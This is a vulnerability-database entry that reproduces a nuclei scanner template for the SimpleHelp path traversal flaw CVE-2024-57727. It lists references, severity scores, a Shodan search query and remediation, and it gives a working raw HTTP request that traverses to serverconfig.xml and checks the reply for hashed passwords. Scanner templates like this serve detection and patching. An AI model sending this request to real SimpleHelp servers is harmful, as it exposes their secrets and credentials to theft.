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SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal

🗓️ 19 Oct 2026 02:08:20Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 169 Views

SimpleHelp versions 5.5.7 and before have a high severity unauthenticated path traversal vulnerability.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Simple-Help Simplehelp
17 Jan 202515:45
–githubexploit
attackerkb
attackerkb
CVE-2024-57727
15 Jan 202500:00
–attackerkb
bdu_fstec
BDU FSTEC
SimpleHelp Remote Disclosure
27 Jan 202500:00
–bdu_fstec
circl
Circl
CVE-2024-57727
15 Jan 202507:04
–circl
cisa_kev
CISA KEV Catalog
SimpleHelp Path Traversal Vulnerability
13 Feb 202500:00
–cisa_kev
cisa
CISA
CISA Adds One Known Exploited Vulnerability to Catalog
13 Feb 202512:00
–cisa
cisa
CISA
CISA Releases Cybersecurity Advisory on SimpleHelp RMM Vulnerability
12 Jun 202512:00
–cisa
cnnvd
CNNVD
SimpleHelp security vulnerabilities
15 Jan 202500:00
–cnnvd
cve
CVE
CVE-2024-57727
15 Jan 202500:00
–cve
cvelist
Cvelist
CVE-2024-57727
15 Jan 202500:00
–cvelist
Rows per page
id: CVE-2024-57727

info:
  name: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
  impact: |
    Unauthenticated attackers can exploit path traversal to download server configuration files containing secrets, hashed passwords, and other sensitive information.
  remediation: |
    Update SimpleHelp to version 5.5.8 or later to address the path traversal vulnerabilities.
  reference:
    - https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
    - https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-57727
    cwe-id: CWE-22
    epss-score: 0.96576
    epss-percentile: 0.99884
    cpe: cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
  tags: cve,cve2024,simplehelp,lfi,kev,vkev,vuln

http:
  - raw:
      - |
        GET /toolbox-resource/../serverconfig.xml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<SimpleSuite'
          - '<HashPassword>'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/octet-stream'
# digest: 4a0a004730450220090d614f7e150cbb13597eb1b186a367398987a3e96b0da5188a88648e98caeb022100b086aaf12cb0ea17ae970c24e9c1b608d814bbe91cdb67f6f018ccf394e13106:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.17.5 - 9.1
EPSS0.96576
SSVC
169